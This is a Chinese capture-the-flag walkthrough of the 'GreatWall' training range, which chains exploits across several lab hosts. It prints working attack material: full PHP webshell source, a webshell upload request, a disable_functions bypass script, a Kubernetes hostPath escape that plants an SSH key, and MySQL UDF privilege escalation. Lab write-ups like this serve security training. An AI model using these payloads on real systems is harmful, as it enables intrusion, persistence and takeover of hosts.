春秋云境-GreatWall

title: GreatWall
description: 在这个靶场中，您将扮演一名渗透测试工程师，接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务，然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中，您将寻找潜在的弱点和漏洞，并逐一接管所有服务，从而控制整个内部网络。靶场中共设置了6个Flag，它们分布在不同的靶机上，您需要找到并获取这些 Flag 作为您的成就目标。

前置知识

参考阅读

bypass disable_functions 姿势总结： https://xz.aliyun.com/t/10057

知识点

ThinkPHP5 construct code exec
Heapdump 内存泄露 Shiro_key
Shiro 反序列化
代码审计（任意文件上传）
bypass disable_functions
Kubernetes API server 未授权写公钥
Harbor 公开镜像仓库未授权访问 CVE-2022-46463
MySQL UDF 提权

工具

攻击路径

入口 - 8.130.13.188/172.28.23.17

外网信息收集

fscan 外网信息收集：

8.130.13.188:22 open
8.130.13.188:80 open
8.130.13.188:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.13.188       code:200 len:10887  title:""
[*] WebTitle http://8.130.13.188:8080  code:200 len:1027   title:Login Form
[+] PocScan http://8.130.13.188:8080 poc-yaml-thinkphp5023-method-rce poc1

ThinkPHP5 RCE（flag01）

ThinkPHP v5.0.23 命令执行。上传冰蝎：

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

http://8.130.13.188:8080/bak.php
rebeyond

得到 flag01：

/var/www/html/background/public/ >cat /f1ag01_UdEv.txt
flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}

上传 fscan 探测 172.28.23.17 所在网段：

172.28.23.26:21 open
172.28.23.17:22 open
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.17:80 open
172.28.23.33:22 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：1****48微信同号，QQ95****3
[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=1396A1D8359BFFDE444D2D448474E67E
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=1396A1D8359BFFDE444D2D448474E67E code:200 len:3860   title:智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

提取关键信息：

[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip

[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

内网一层代理

# frp_0.53.2
nohup /tmp/frpc -c /tmp/frpc.toml &

# Proxifier
socks5 <your-ip> <your-port>

访问内网系统

http://172.28.23.33:8080/

172.28.23.33 - ERP 后台

Heapdump 内存泄露

下载 Heapdump 内存文件：

http://172.28.23.33:8080/actuator/heapdump

分析 Heapdump 内存文件：

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

目标使用了 Shiro 框架，AES-GCM 加密算法，且存在 Shiro 反序列化漏洞。注入内存马：

路径：http://172.28.23.33:8080/favicondemo.ico
密码：pass1024

当前为普通用户权限

/ >whoami
ops01

信息收集，目标系统在 59696 端口运行了一个需要认证的程序：

/ >netstat -anlptu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:59696           0.0.0.0:*               LISTEN      -      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -      ...

nc 172.28.23.33 59696

该程序位于 /home/ops01/HashNote。

59696 端口 Pwn（flag03）

对 HashNote 进行分析。程序对 password 做了校验，username 输入任意值均可。password 值：

freep@ssw0rd:3

我滴 Pwn 水平一般，这部分是后续复盘的时候，参考了一血 wp 的代码，在本地测了一下。有兴趣的可以再研究一下 https://mp.weixin.qq.com/s/07wGP69-aIToIpeof0ypmw

172.28.23.26 - 新翔 OA

任意文件上传

ftp 下载源代码：

[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip

└─$ proxychains ftp 172.28.23.26 21
ftp> ls
229 Entering Extended Passive Mode (|||24492|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0         7536672 Mar 23 23:56 OASystem.zip
ftp> get OASystem.zip
local: OASystem.zip remote: OASystem.zip
229 Entering Extended Passive Mode (|||22769|)
150 Opening BINARY mode data connection for OASystem.zip (7536672 bytes).

代码审计，发现 uploadbase64.php 存在任意文件上传，未校验文件后缀：

<?php
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
    $type = ".".$result[2];
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img =  base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

测试上传图片，成功：

/uploadbase64.php
imgbase64=

上传一句话木马：

POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.23.26
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.28.23.26/uploadbase64.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

imgbase64=data%3aimage/php%3bbase64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K

bypass disable_functions（flag02）

http://172.28.23.26/upload/2024-06-03-665d2423479ad.php
cmd

执行命令返回 ret=127，需要 bypass disable_functions。写入 phpinfo() 查看 disable_functions：

/uploadbase64.php
imgbase64=%2B

方式一：LD_PRELOAD

使用插件 as_bypass_php_disable_functions，利用 LD_PRELOAD 环境变量加载 so 文件

执行成功后，将生成两个文件：

/var/www/html/OAsystem/upload/.demo.php # 默认生成.antproxy.php，已修改为.demo.php
/tmp/.56258ant_x64.so

默认生成的 .demo.php 代码如下：

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 62576;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/2024-05-31-66593ef7a645b.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

新建一个 get 型木马 shell.php（post 型在当前环境无法利用成功）：

<?php system($_GET['cmd']);?>

修改 .demo.php，使其指向 shell.php：

# 将 $url = "/2024-05-31-66593ef7a645b.php"; 修改为：
$url = "/shell.php";

此时，访问 .demo.php 就相当于访问 shell.php。执行命令：

http://172.28.23.26/upload/.demo.php?cmd=ls /

http://172.28.23.26/upload/.demo.php?cmd=cat /flag02.txt

无法读取根目录下的 flag02，需要提权。查找 suid 提权文件：

http://172.28.23.26/upload/.demo.php?cmd=find / -perm -u=s -type f 2>/dev/null

通过 base32 读取 flag02：

http://172.28.23.26/upload/.demo.php?cmd=/usr/bin/base32 /flag02.txt

base32 解码：

MZWGCZZQGI5CAZTMMFTXWNJWMQZTONZTGQWTKZRXGMWTINBXMYWWEMLBGUWWCOBTMY2DKNJUHFRD EOD5BI====
flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}

方式二：PHP7 Backtrace UAF

PHP7 Backtrace UAF 可以直接返回一个 shell，但这个方式执行命令不是特别稳定：

内网信息收集

查看网络信息，当前主机为双网卡：

(www-data:/tmp) $ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:16:3e:04:9d:2b  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe04:9d2b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:83916 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21787 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:100574358 (100.5 MB)  TX bytes:10030984 (10.0 MB)
eth1      Link encap:Ethernet  HWaddr 00:16:3e:04:60:ef  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe04:60ef/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:21965 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20380 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:7266506 (7.2 MB)  TX bytes:5939912 (5.9 MB)

fscan 对 172.22.14.0/24 网段信息收集：

172.22.14.37:22 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

内网二层代理

172.28.23.17 frps.toml

chmod +x frps
nohup ./frps -c frps.toml &

172.28.23.33 frpc.toml

chmod +x frpc
nohup ./frpc -c frpc.toml &

Proxifier Chains

socks5 <your-ip> <your-port>
socks5 172.28.23.17 <your-port>

测试代理，成功访问 Harbor：

http://172.22.14.46/account/sign-in

172.22.14.37 - Kubernetes

API server 未授权

172.22.14.37 开放 10250 和 2379 端口。探测 8080 和 6443 端口是否开放：

./fscan -h 172.22.14.37 -p 1-65535
-----
172.22.14.37:22 open
172.22.14.37:2380 open
172.22.14.37:2379 open
172.22.14.37:6443 open
172.22.14.37:10256 open
172.22.14.37:10250 open
172.22.14.37:10252 open
172.22.14.37:10251 open
[*] WebTitle http://172.22.14.37:10251 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10252 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19     title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671   title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak 
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth

存在 Kubernetes API server 未授权：

https://172.22.14.37:6443

查看 pod（用户名密码输入任意内容即可）：

kubectl -s https://172.22.14.37:6443/ get pods
-----
Please enter Username: test
Please enter Password: Unable to connect to the server: tls: failed to verify certificate: x509: certificate signed by unknown authority

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
-----
Please enter Username: test
Please enter Password: NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-58d48b746d-d6x8t   1/1     Running   3          240d
nginx-deployment-58d48b746d-pg4gl   1/1     Running   3          240d
nginx-deployment-58d48b746d-s2vwl   1/1     Running   3          240d
nginx-deployment-58d48b746d-x26mr   1/1     Running   3          240d

查看 pod 资源：

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-58d48b746d-d6x8t
-----
Please enter Username: test
Please enter Password: Name:             nginx-deployment-58d48b746d-d6x8t
Namespace:        default
Priority:         0
Service Account:  default
Node:             ubuntu-k8s/172.22.14.37
Start Time:       Fri, 06 Oct 2023 20:33:56 +0800
Labels:           app=nginx
                  pod-template-hash=58d48b746d
Annotations:      <none>
Status:           Running
IP:               10.244.0.38
IPs:
  IP:           10.244.0.38
Controlled By:  ReplicaSet/nginx-deployment-58d48b746d
Containers:
  nginx:
    Container ID:   docker://fa32cd989691ed731fc12ae1d7811f69ef590e0312ef3a9ab24ac455c19f21a9
    Image:          nginx:1.8
    Image ID:       docker-pullable://nginx@sha256:c97ee70c4048fe79765f7c2ec0931957c2898f47400128f4f3640d0ae5d60d10
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Mon, 03 Jun 2024 09:59:07 +0800
    Last State:     Terminated
      Reason:       Completed
      Exit Code:    0
      Started:      Mon, 25 Mar 2024 16:55:49 +0800
      Finished:     Mon, 03 Jun 2024 09:58:26 +0800
    Ready:          True
    Restart Count:  3
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-zqldf (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-zqldf:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-zqldf
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:
  Type     Reason                  Age                   From               Message
  ----     ------                  ----                  ----               -------
  Normal   Scheduled               240d                  default-scheduler  Successfully assigned default/nginx-deployment-58d48b746d-d6x8t to ubuntu-k8s
  Normal   Pulled                  240d                  kubelet            Container image "nginx:1.8" already present on machine
  Normal   Created                 240d                  kubelet            Created container nginx
  Normal   Started                 240d                  kubelet            Started container nginx
...

同样，用 nginx:1.8 镜像创建名为 nginx-deployment 的 pod，将宿主机的目录挂载到 /mnt 目录。新建 test.yaml 文件，内容如下：

apiVersion: v1
kind: Pod
metadata:
  name: nginx-deployment
spec:
  containers:
  - image: nginx:1.8
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test
  volumes:
  - name: test
    hostPath:
      path: /

创建 pod 并查看运行情况：

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f test.yaml
-----
Please enter Username: test
Please enter Password:

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
-----
Please enter Username: test
Please enter Password: NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment                    1/1     Running   0          12s
nginx-deployment-58d48b746d-d6x8t   1/1     Running   3          240d
nginx-deployment-58d48b746d-pg4gl   1/1     Running   3          240d
nginx-deployment-58d48b746d-s2vwl   1/1     Running   3          240d
nginx-deployment-58d48b746d-x26mr   1/1     Running   3          240d

写入 SSH 公钥

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment -- /bin/bash
-----
root@nginx-deployment:/# echo "ssh-rsa YOUR_KEY_HERE" > /mnt/root/.ssh/authorized_keys

通过公钥 SSH 连接：

ssh -i id_rsa root@172.22.14.37

MySQL 历史命令（flag04）

当前目录存在 .mysql_history：

root@ubuntu-k8s:~# cat .mysql_history
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit

base64 解码得到 flag04：

ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==
flag{da69c459-7fe5-4535-b8d1-15fff496a29f}

172.22.14.46 - Harbor

公开镜像一：harbor/secret（flag05）

存在 Harbor 公开镜像仓库未授权访问 CVE-2022-46463。Linux 环境下运行 harbor.py：

proxychains python3 harbor.py http://172.22.14.46
-----
[*] API version used v2.0
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret

proxychains python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2
-----
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
[+] Dumping : harbor/secret:latest
    [+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
    [+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
    [+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
    [+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
    [+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
    [+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653

分析镜像文件，找到 flag05：

cat 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49/f1ag05_Yz1o.txt   
-----
flag05: flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}#

公开镜像二：project/projectadmin

proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2     
------
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
[+] Dumping : project/projectadmin:latest
    [+] Downloading : 63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05
    [+] Downloading : a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6
    [+] Downloading : 70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd
    [+] Downloading : ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c
    [+] Downloading : 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c

分析镜像文件，发现运行了 run.sh，内容如下：

cat 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c/run.sh 
-----
#!/bin/bash
sleep 1

# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null#

分析 ProjectAdmin-0.0.1-SNAPSHOT.jar。反编译，在 SpringBoot 配置文件 application.properties 中找到数据库账号密码：

spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

MySQL UDF 提权（flag06）

连接数据库，查看版本：

select version();

查看 secure_file_priv：

show global variables like '%secure_file_priv%';

Value 为空，尝试 UDF 提权。寻找插件目录，将 UDF 的动态链接库文件放到 MySQL 的插件目录：

/usr/lib/mysql/plugin/

写入动态链接库：

select unhex('7F454C4602010100000000000000000003003...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

创建自定义函数：

create function sys_eval returns string soname 'mysqludf.so';

得到 flag06：

select sys_eval('cat /f2ag06_Aq1aqx.txt');
-----
flag06: flag{413ac6ad-1d50-47cb-9cf3-17354b751741}

删除自定义函数：

drop function sys_eval;